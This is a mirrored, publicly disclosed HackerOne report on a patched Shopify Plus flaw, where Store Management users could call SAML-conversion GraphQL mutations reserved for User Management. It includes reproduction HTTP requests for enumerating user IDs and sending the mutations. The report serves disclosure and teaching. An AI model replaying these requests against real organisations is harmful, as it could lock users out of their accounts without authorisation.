Skip to content
Access control Disclosed report Intermediate

[h1-2102] [Plus] User with Store Management Permission can Make convertUsersFromSaml/convertUsersToSaml - that should be limited to User Management

A user holding only the Store Management permission could invoke the GraphQL mutations that convert organisation users to or from SAML authentication, which should be restricted to User Management. This could unlink or link a victim's account with a SAML identity provider, potentially preventing them from logging in.

ngalog Follow

Originally disclosed on HackerOne

Medium 4.3 View original
  • Triaged in 6 days
  • Fixed in 28 days
  • Paid in 8 days
  • Disclosed after 15 months

Summary:

[Plus] User with Store Management Permission can Make convertUsersFromSaml/convertUsersToSaml - that should be limited to User Management Only

Description:

User with Store management permission -

Screen_Shot_2021-01-22_at_11.15.03_PM.png
Screen_Shot_2021-01-22_at_11.15.03_PM.png From the original on HackerOne

only, is able to convert users account from SAML and to SAML using the graphql

Impact

This could potentially disable the user's ability to login by unlinking their account with SAML identity provider, or by linking their account with SAML identity provider, because maybe there isn't a valid account for that victim

Steps To Reproduce:

  • As an org plus admin, visit https://shopify.plus/:org_plus_id/users/invite and invite an user to have store management permission - (The purpose is to enable the low-privileged user to have access to https://shopify.plus/:plus_org_id/stores/api
  • Login as the low-priviledged user, and visit shopify.plus and click around until you made a valid graphql call to shopify.plus, it looks something like this POST /34946971/stores/api HTTP/1.1
  • Make this call to figure our your domain user's ID
HTTP
POST /34946971/users/api HTTP/1.1
Host: shopify.plus
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
...

{"operationName":"GetAllUserIds","variables":{},"query":"query GetAllUserIds {\n  organization {\n    id\n    users {\n      edges {\n        node {\n          id\n   email       __typename\n        }\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n"}
  • Make this call to show that you can perform convertUsersFromSaml or convertUsersToSaml as a low privileged user by replacing REPLACE_ME with one of the user id you got from above steps
POST /34946971/stores/api HTTP/1.1
Host: shopify.plus
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json
...

{"query":"mutation{convertUsersFromSaml(organizationUserIds:[\"REPLACE_ME\"]){userErrors{message}}}"}

or

POST /34946971/stores/api HTTP/1.1
Host: shopify.plus
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json
...

{"query":"mutation{convertUsersToSaml(userIds:[\"REPLACE_ME\"]){userErrors{message}}}"}

You may see this in the response for above two requests

{"data":{"convertUsersToSaml":{"userErrors":[{"message":"Make sure the SAML authentication setting is set to specific users."}]}}}

or

{"data":{"convertUsersFromSaml":{"userErrors":[{"message":"User is already an Identity user: [email protected]"}]}}}

It is fine, it just means the lower-privileged user has the permission to perform such actions. It would require additional SAML configuration for the org plus admin for it to fully work

Impact

But I think this is enough to show that, user with Store Management permission level is able to perform two restricted GRaphql call, convertUsersFromSaml and convertUsersToSaml

The original report as published on HackerOne, by ngalog. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the GraphQL mutations for converting users to and from SAML were not checked against the User Management permission, only against a broader store-level authorisation.

Impact

A low-privileged user could unlink or link another user's account with a SAML identity provider, potentially blocking their login, though full exploitation would require additional SAML configuration by the organisation admin.

What the attacker needed

An organisation admin to invite the attacker; a Store Management permission account; SAML configured for full impact

How it was found

  1. Invite a user with only the Store Management permission as an organisation admin.
  2. Log in as that low-privileged user and capture a valid GraphQL request to the stores API.
  3. Query the users API to obtain a target user's ID.
  4. Send a mutation converting that user from SAML, or to SAML, using the obtained ID.
  5. Observe that the request is accepted rather than rejected for lack of permission.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A company account has different permission levels, and some actions should only be allowed for people with the right level. Here a lower-level user could still trigger an action meant for account administrators, which changes how someone signs in. If abused, the affected person might be locked out of their account.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by ngalog

View all

21 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.